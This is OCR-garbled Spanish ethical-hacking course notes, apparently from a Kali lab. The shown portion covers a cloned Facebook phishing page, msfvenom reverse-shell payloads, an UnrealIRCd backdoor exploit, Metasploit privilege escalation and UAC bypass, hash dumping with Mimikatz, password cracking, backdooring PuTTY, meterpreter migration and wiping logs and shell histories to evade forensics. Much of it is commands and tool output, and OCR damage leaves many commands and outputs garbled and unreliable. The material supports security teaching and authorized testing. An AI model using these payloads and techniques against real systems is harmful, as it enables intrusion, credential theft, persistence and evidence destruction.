chebOOk I B Escaneolntrusivo_n... 227.0kB Markup 21Mar

Pictures

Downloads

Facebook te ayuda a cliBREEE
Compartlr con |aS pers Other Locations
parte de tu vida.

Crea una pagina py{y=1e

lso note that there MUST be an index.html in the folder you point to.
to the website to be cloned:/home/kali/Desktop/index.html
weri . blah. c
f the website you imported:|]

Podemos volver a pulsar enter para dejar la URL por defecto.

Si tenemos apache o nginx por ejemplo, nos solicitard que lo desactivemos:

> URL of the website you imported:




El resultado es este, deberiamos haber puesto facebook.es para que el mensaje dijera “The
site http://facebook.es.....”:

< - O M (| facebook.es/ e £ 7 e

The site http:// has moved, click here to go to the new
location.

Sl hubiéramos puesto URL:
< - O @ (@  facebook.es/

The site http://www.facebook.es has moved, click here to go to the new location.

Al pulsar, llega a una pagina cldnica de Facebook:

j ) Facebook - Entraro reg X l+ ~

D 192.168.52.128/index2 himl|

¢ Permitir el uso de cookies de Facebook en este
navegador?

Usamos cookies y tecnologias similares para:

@ Proporcionar y mejorar el contenido en los productos de Meta

@ Ofrecer una experiencia mas segura al usar la informacién gue recibimos de cockies
dentro y fuera de Facebook

@ Proporcionar y mejorar los Productos de Meta para gquienes tienen una cuenta

Usamos herramientas de otras empresas en Facebook para ofrecer servicios publicitarios y de
medicién fuera de los Productos de Meta, para realizar analisis, para proporcionar ciertas
funciones y para mejorar nuestros servicios para ti. Estas empresas también usan cookies.

Puedes permitir el uso de todas las cockies en este navegador o solo el de las necesarias, o
bien seleccionar mas opciones abajo. Puedes obtener mas informacion sobre las cookies y
cémo las usamos, y revisar o cambiar tus preferencias cuando quieras en nuestra Polifica de
cookies.

Cookies necesarias

Ectac rankiac enn imnracrindihlac nara vilizar Ine nradiuctne da Mata Ee nacacarin nua actén

Permitir solo cookies necesarias Permitir cookies necesarias y opcionales




Polymorph: Polymorph es una herramienta creada por Santiago Hernandez (a.k.a. shramos).

Es posible que sea necesario instalar Anaconda 3 debido a las constantes actualizaciones de
Python.

La diferencia principal con el DNS Spoofing a la Manipulacion de Trafico de Red en Tiempo Real
es que antes simplemente éramos un MITM qué escuchaba y como mucho, inducia a que un
usuario nos revelara sus credenciales. Sin embargo, manipular paquetes conlleva modificar
sustancialmente las peticiones de red.

Con Polymorph somos capaces, no de simplemente interceptar copias de los paquetes, como
hace Wireshark, sino de interceptarlos y modificarlos en tiempo real, por lo que podriamos
modificar paquetes a la entrada y la salida sin que nadie se percatara de ello.

Interesante video de cémo se realiza una modificacion de paquetes en el Registro de Windows
con la inyeccidn de un payload en el registro y posteriormente ejecucion de un meterpreter.

https://vimeo.com/249060325

8. Técnicas de Post-Explotacion:

La fase de post-explotacion consiste en determinar el valor del sistema comprometido, en base
a dos variables:

e Lo sensible que sea, si tuviera informacion confidencial
e Capacidad del activo para conectarse y comprometer otros activos

Son técnicas muy intrusivas y la mayoria de los clientes no quieren que sean ejecutadas pues
puede caer distintos sistemas de la organizacion y ya es suficiente con comprometer las
magquinas.

Recomendaciones:

e A no ser que exista una peticidn expresa, no deben evaluarse ni modificarse servicios
considerados criticos.

e Las modificaciones deben ser documentados y pueden ser revertidas

e Se debe entregar una lista detallad de todas las acciones tomadas y el periodo de
tiempo

e Toda lainformacién privada o personal que se descubra puede ser utilizada para
obtener informacion adicional, solo si se tiene autorizacién.

e Las contrasefias NO DEBEN SER ADJUNTADAS, ni siquiera cifradas

e No establecer mecanismos de persistencia en una maquina sin el consentimiento del
cliente.

e Toda la informacidén recolectada durante la auditoria debe estar cifrada en los equipos
de los analistas

e TODA la informacién recopilada debe ser destruida una vez que el cliente acepte el
reporte final.


https://vimeo.com/249060325

Linux Meterpreter Post-explotacion:

Antes de empezar, debemos haber encontrado una vulnerabilidad en el host, aqui vamos a
suponer que hemos decidido descargar un exploit para UnreallRC que ya sabemos que nuestro
Ubuntu Metasploiteable es vulnerable:

UnreallRCd-3.2.8.1-Backdoor-master

File Edit View Go Help

» 4 A ¢« Akali M Desktop UnreallRCd-3.2.... ackdoor-master /'

Places
B Computer @ .

B kali
Desktop exploitpy =~ README.md

' Trash

@) Documents
2 Music

B Pictures

= Videos

Con msfvenom podemos crear un payload con:

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.52.128 Iport=4444

[NYBjGO50k7aSR+NaNTI6eUsFSg/qgy@Cz+s5X@jcnrDn5fB805BoM6/mMFXuT6s // gKqU5gRkUi4fLHpSAnAdELn4gu7 gKyR: iU/ xQpDv85eQPcFhfaw=")[081)))

Vamos a sustituir el payload que traia originalmente este exploit por el payload actual:

7
8 python_payload =

B python_payload

p bash_payload =

- Find and Replace
netcat_payload 5

Find

Replace with

e word only
ession
(payload
base = base64.b64en Close
f'ec |




python_payload

o kUi4fL
bash_payload

Recuerda anadir f* python -c “ (payload) “”’

Asegurate de leer las instrucciones del exploit y de completar sus campos:

lncél_ip .
local_port

Ahora en Metasploit podemos poner un listener (/multi/handler):
Recuerda configurar 3 cosas:

e Lhost: Ip de la maquina (debe coincidir con el de msfvenom)

e Lport: Asegurate de poner el mismo que en msfvenom

e Payload: Pon el mismo payload usado en msfvenom, aunque no sea compatible
xploit( ) cad python/meterprete

F = python/meterpr B tcp
nsf6 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Regquired Description

Payload options (python/meterprete

Name Current Setting Regquired Description

LHOST - 2. e
LPORT 4

s The listen address (an face may be specified)
s 5

The listen port

command.

-[~/Desktop/UnrealIRCd-3.2.8.1-Backdoor-master

192 ?.138
Exploit sent successfully!

load python




Lo primero que debemos hacer una vez tengamos la sesién abierta es averiguar quien somos.
Para ello usamos le comando: getuid

Ahora necesitamos la utilizacién de mddulos de Metasploit, se encuentran en la ruta:

/usr/share/metasploit-framework/modules/post

l/usr/share/metasploit-framework]

/usr/share/metasploit-framework
modules

f/usr/share/metasploit-framework/modules

f/usr/share/metasploit-framework/modules

f/usr/share/metasploit-framework/modules/post

-[/usr/share/metasploit-framework/modules/post

En esta seccidon nos centraremos en Linux:

/usr/share/metasploit-framework/modules/post

/usr/../metasploit-framework/modules/post/linux

Estos mddulos nos permiten obtener informacién una vez tenemos la maquina comprometida

Gather:

-[/usr/../modules/post/linux/gather

enum_configs.rb enum_protections.rb gnome_commander_creds.rb manageengine_password_manager_creds.rb phpmyadmin_credsteal.rb
rb enum_psk.rb gnome_keyring_dump.rb imipe .rh pptpd_chap_ . Tl
m.rb LEEL ad.rb mount reds. ri tor_hidde .Th

enum_users_history.rb hashdump.rb openvpn_credentials.rb vcenter_secrets_dump.rb

Para ejecutar alguno usamos: run (ruta)

run post/Linux/gather/checkvm

ather/checkvm

virtual machine

e Checkvm: Testa si la maquina es una mdaquina virtual.

e Hashdump.rb: Hace un dump de los hash de la memoria (solo root).
e Enum_network: Obtiene informacién de la infraestructura de la red.
e Enum_system: Enumera informacién del sistema.

Ahora procederemos a escalar privilegios, lo primero que debemos saber es que podemos
mandar la sesién de meterpreter en segundo plano para que no se pierda y poder seguir
usando Metasploit con el comando background. Con el comando sessions podriamos ver todas
las sesiones activas.



onnection

Ahora vamos a acceder a un recomendador de exploits:

use post/multi/recon/local_exploit_suggester
el
options
ste
quired Description
The asessi-an to run this module on

Disp a detailed description for the

fiew the full module info with the inf or inf command.

Seleccionamos la sesidn con set session (n2) y exploit
Set session 2

exploit

exploit

3 Collecting local exploits for python/linux ...
3 174 exploit checks are being tried.

xploit/linux/local/cv _349 layfs: The target appears to be vulnerable.
.13 xploit/linux/local/ _4034_| kit_lpe_pkexec: The target is vulnerable.

30 xploit/linux/local/cv _09 c The target appears to be vulnerable.
0 ploit/linux/local/docker_ _priv ge on: The target is vulnerable.
0 - exploit/linux/local/over riv_esc: The target appears to be vulnerable.

0 exploit/linux/local/pk: & ce is running, but could not be validated.

0 exploit/linux/local/ptrac r 54 et appears to be vulnerable.
0

0

0

3|
3

1
1
1
1
.1
-1
1
13i
.13
13 xploit/linux/local/su_login: rable.
1 exploit/linux/local/sudo_baron_samedit: The target appears to be vulnerable. sudo 1.8.9.5 is a vulnerable build.
.168. - exploit/linux/local/ubuntu_enlightenment_mount_pri sc: The target appears to be vulnerable.
Running check method for exploit 56 / 56
192.168.52.130 - Valid modules for session 2:

.13
3

Potentially Vulnerable? Check Result

Nos quedaremos con exploit/linux/local/docker_daemon_privilege escalation

Como vemos es un local, lo que quiere decir que nosotros ya hemos debido de explotar la
magquina previamente.

Debemos buscar el exploit con search y posteriormente usar use para usarlo.



> search exploit/linux/ cker_daemon_privilege_esc

# Name i Date Rank

0 exploit/linux/local/docker_daemon_privilege escalation 2016-06

Interact with a module by name or index. For example

Payload options (linux/armle. erpre verse_tcp):
Required Description

ess (an interface may be specified)

Como vemos, nos ha cambiado el payload, asi que vamos a utilizar uno mas parecido al
nuestro:
command .

) » set payload linux meterpreter/rev

También introducimos la sesidn con set session 2

Ahora, tras usar exploit abriremos meterpreter y habremos escalado privilegios como root.

getuid
e: root

Server usernam
Windows Meterpreter Post-explotacidn:

Esta vez nos centraremos en un Windows 10 con la vulnerabilidad web_delivery:

6 > search web_delivery

Matching Modules

Name Disclosure Date Rank Check

exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 !
exploit/multi/script/Web delivery 2013-07-19 manual Script

Interact with a module by name or index. For example i
msf6 > use 1

Using configured payload python/meterpreter/reverse_tcp
msf6 exploit( N |

Este exploit nos genera directamente el payload que nosotros debemos ejecutar en la maquina
de destino. Lo primero es seleccionar que tipo de objetivo tenemos, para ello, seleccionamos
como target un Powershell:

msf6 exploit( ) > show targets

Exploit targets:

Id Name

t target 2




Seleccionamos un payload, en este caso uno compatible seria:

msf6 exploit(
ayload = w

Nos devuelve un comando powershell para que el cliente lo ejecute desde la maquina
objetivo, asi que haria falta algo de phishing por ejemplo para poder atacarla

Al ejecutarlo en el powershell de la maquina objetivo, se cerrara automaticamente su
powershell, es necesario desactivar el Antivirus de tiempo real:

Real-time protection

Locates and stops malware from installing or running on your device. Y
can turn off this setting for a short time before it turns back on
automatically.

@ Real-time protection is off, leaving your device vulnerable.

@ O off

DAASAFSATE

1A bABpA




Podemos entrar a esa sesidn con:

sessions 1

loit(
irting interaction with 1...

Name

following was attempted:
Named
Named
Token Duplication (In Me
Named Pipe Im onation
Named Pipe ersonation (Print \
Named Pipe Impersonationm (EFSRPC wariant - AKA EfsPotato)

Como podemos comprobar, podemos hacer uso de algunos mdédulos de metasploit:
» run post/window

Checking if the t

[+] This is a Hyper-V \
meterpreter > |

Siempre es interesante ver si la maquina comprometida es una Maquina Virtual, por si se trata
de un Honey Pot, una trampa que puede ser colocada para que hagamos pentesting en ellay
recopile informacidén nuestra

Algunos médulos interesantes de Windows:

e credentials/credential_collector (necesita privilegios): para acceder a credenciales
e enum_shares: para ver las carpetas compartidas
e hasdump: Volcar hash de credenciales en memoria

credential_collector

Running module against MSEDGEWIN1®

ess that matched the target's architecture?

Al igual que en con Linux, también contamos con el recomendador de exploits de post-
explotacidn, en este caso, nos recomendara UAC Bypass:

run post/multi/recon/local_exploit_suggester

iPuede usarse directamente desde el meterpreter!




UAC Bypass: Técnica de post-explotacién que nos permite elevar privilegios en Windows en
determinadas situaciones.

UAC (User Account Control) es el causable de las pestafia que avisa que tienes que aceptar
permisos de Administrador. Esto permite que el usuario eleve permisos sin siquiera tener que
poner la contrasefia.

Entoces el UAC Bypass, consiste en aprovechar este hecho para cargar otros programas, con
este autoelevador de privilegios. Como vemos, como continuacion del apartado anterior, esta
magquina de ejemplo es vulnerable:

thod for exploit 41 / 41
Valid modules for session 2:

Name Potentially Vulnerable? Check Result

Ixploit/windows/local/bypassuac_dotnet_profiler

unding session 2 ...
i it( } > use ploit,
No payload confipured, defaulting to windows/xE

Decidimos las opciones, IMPORTANTE cambiar el LPORT para que no interfiera con la sesion
abierta actualmente y colocar el LHOST bien y exploit:

AD_NAME e fi me to use for the payload binary
to run this module on
Yayload options (windows;, /meterpreter, jerse_tcp):
MName Current Setting Required Description
EXITFUNC p 255 i ( H threa I( s, none)
LHOST 192. ] = The 1 na interface ma = eci )
LPORT Ly L y The listen port
xploit target:
Id Name

@  Windows x64

/iew the full module info with the inf or inf command.

nsf6 exploit( } > show sessions

Id Name Type Information Connection

meterpreter » windows MSEDGEWIN1@\IEUser @ MSEDGEWIN1® 192.




Como resultado, se arbira una sesién en meterpreter:

r on 192.1

ntinuing ...

, continuin
of 'C:

dmin}).

AUTHORIT
AUTHORIT

run post it 1ashdump

Obtaining the boot
the hboot
er list

Dumping password hints ...
No users with password hints on this
Dumping password hashes ...

Administ
Guest:

Mimikatz: Nos permite encontrar credenciales almacenadas en memoria sistemas Windows
Una vez abierta la sesidn de superusuario en meterpreter usamos:

load kiwi

indows )

a A L'Amour
+* Benjamin DELPY

bl




Lo primero que hay que hacer es un getsystem y posteriormente podriamos ver las
credenciales hasheadas con creds_all

Podemos usar kiwi help para ver todas las posibilidades. Por ejemplo, no solo ver hashes de
contrasefias (para descifrar el hash luego con John) sino también cambiarlas o comprobar las
redes wifi.

John the ripper: Crackeador de contrasefas para descifrar contrasefias.

john --format=(formato a descifrar) --wordlist=(diccionario que queramos usar) (archivo con
los hashes)

john --format=raw-md5 --worlist=/usr/share/wordlists/rockyou.txt hash.md5

Por defecto NO muestra por pantalla el resultado, para ello, debemos agregar la opcion --show
Hashcat: Crackeador de contraseiias, alternativa a John the Ripper.

haschat -m (tipo de hash) -a (técnica de ataque) (archivo) (diccionario a usar)

hashcat -m 0 -a 0 hash.md5 /usr/share/worlists/rockyou.txt

Hay muchos tipos de hash, no solo el 0, depende el programa que haya hasheado la
contrasefia, por ello, contamos con la Wiki que nos puede ayudar a elegir el tipo de hash
hashcat.net/wiki/doku.php?id=example_hashes

Backdoor en binarios: Técnica para afiadir a un binario del sistema que ya hayamos vulnerado
un backdoor para que podamos entrar de forma recurrente en el sistema.

Primero descargarmos el exe que queramos modificar, en este ejemplo vamos a suponer que
vamos a modificar PuTTY.:

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
Podemos crear un exe en msfvenom con:

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp
lhost=192.168.52.128 Iport=4000 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -0 puttyX.exe

Donde:

e -acorresponde a la arquitectura del sistema a atacar

e --platform al sistema operativo a atacar

e -xal ejecutable que vamos a backdoorizar

e -pal payload que vamos a esconder

e -e el codificado con el que vamos a “esconder” el payload
e -ilas vueltas del codificado para esconder el payload

e -b caracteres a tener en cuenta para omitir

o -feselformato de salida

e -0 el nombre del archivo ya modificado




De esta forma, ahora solo tendriamos que dejar escuchando el exploit multi/handler en
Metasploit con el payload usado anteriormente en msfvenom y esperar que el otro usuario
abriera este ejecutable, inmediatamente, debe abrir entonces una sesién en meterpreter.

vlayer v | I v = L O

Kali Linux Hacking Etico Completo - VMware Workstation 17 Player (Non-commercial use only)

Host Name: A
IE Version: Player + || ~ & [[]j [}
OS Version: i _
Service Pack: 2

User Name: “m PO

Password: T kali@kali: ~

Snapshot/backup: File Actions Edit View Help

options (exploit/multi/handler):

#% PUTTY Configuration
Category:
- Session Basic oplions for your PuTTY session
*-Logging asq
£ Terminal e Cl=ntnioniet ! el s (an interface may be specified)
! iKeyboard HostName (or IP address) Pont by LPORT 4444
L-Bell [ | [22
) W":;s‘“'es Connectiontype. Exploit target:
Appearance @ssH  (Oserial  (JOter | Telnet v T e
Behaviour -
- Translation Load. save or delete a stored session
- Selection Saved Sessions
Colours
= Comnection Full module info with
Data Default Settings Lot
Proxy
SSH Save
Serial
Telnet Delete
-Rlogin
SUPDUP
Close window on exit
OAways  ONever @ Only on clean exit

El problema llega con que si el usuario cierra PuTTY, simplemente se cerrara nuestra sesién de
meterpreter, por lo que es necesario conocer las técnicas de Migracion de meterpreter a otro
proceso.

Migracion de meterpreter a otro proceso: Para evitar que se cierre el proceso, lo migraremos
de manera oculta a otra aplicacién en ese sistema. Aparentemente el usuario notara que su
PUTTY se ha cerrado. Lo hacemos desde meterpreter con:

run post/windows/manage/migrate

ting inte
successfully

Borrado de Evidencias:

Linux: Podemos borrar evidencias para que un posterior andlisis forense no encuentre pruebas
de nuestro ejercicio de hacking ético:

Podemos borrar los archivos con:
shred -vfz (fichero) -> Borra y sobrescribe 4 veces

smr (fichero) ->Borray sobrescribe 38 veces



Algunos archivos a borrar son:
Logs

e /var/log/messages: mensajes globales del sistema operativo.

e /var/log/secure: informacidn de autenticacion y autorizacidn.

e /var/log/mail.log: informacién del servidor de correo del sistema.

e /var/log/cron: informacion sobre cuando el demonio cron empieza una tarea.
e /var/log/boot.log: informacién de cuando el sistema arranca.

e /var/log/btmp: logins fallidos (lastb)

e /var/log/wtmp: logins y logouts (last)

e /var/log/lastlog: logins en el sistema (lastlog)

e /var/run/utmp: usuarios en el sistema (who/w)

e /var/log/dmesg: logs del kernel (dmesg)

Comandos de shell:

~/.bash_history

e ~/.sh_history

e ~/.history

e Comando less:

e ~/lesshst

e C(lientes de FTP:

e ~/Iftp/rl_history y cwd_history
e ~/.ncftp/history

Equipos a los que se ha conectado con SSH:
e ~/.ssh/known_hosts
Logs del servidor de aplicacién

e apache/logs/

e etc/httpd/logs/

e var/www/logs/

e var/log/

e usr/local/apache/logs/
e var/log/apache/

e var/log/apache2/

Windows:

En el caso de Windows, podemos usar un médulo especifico de meterpreter que elimina las
evidencias de nuestro ejercicio de hacking ético.

run post/windows/manage/sdel FILE=\\users\\User\\Desktop\\testdoc.txt
(usar doble barra para que detecte “\” como un caracter especial)

Veasé Poster DFIR SANS.pdf



9. Otras herramientas de ayuda:

Algunas herramientas que pueden ayudarnos a la realizacidon de nuestro ejercicio de hacking
ético:

° Herramienta para Kali, recibe un output de Nmap y nos sefiala qué hosts de los
gue hayan sido analizados son mds propensos a ser vulnerables. Ideal en entornos
dénde haya muchos nodos en una misma red.

. Herramienta que permite mutar malware para esconder nuestros payload
de una manera mucho mas potente para que no lo detecten los antivirus.

° Herramienta creada por shramos. Permite no solo interceptar paquetes
de la red, sino modificarlos en tiempo real. Veasé Manual de Polymorph.pdf.



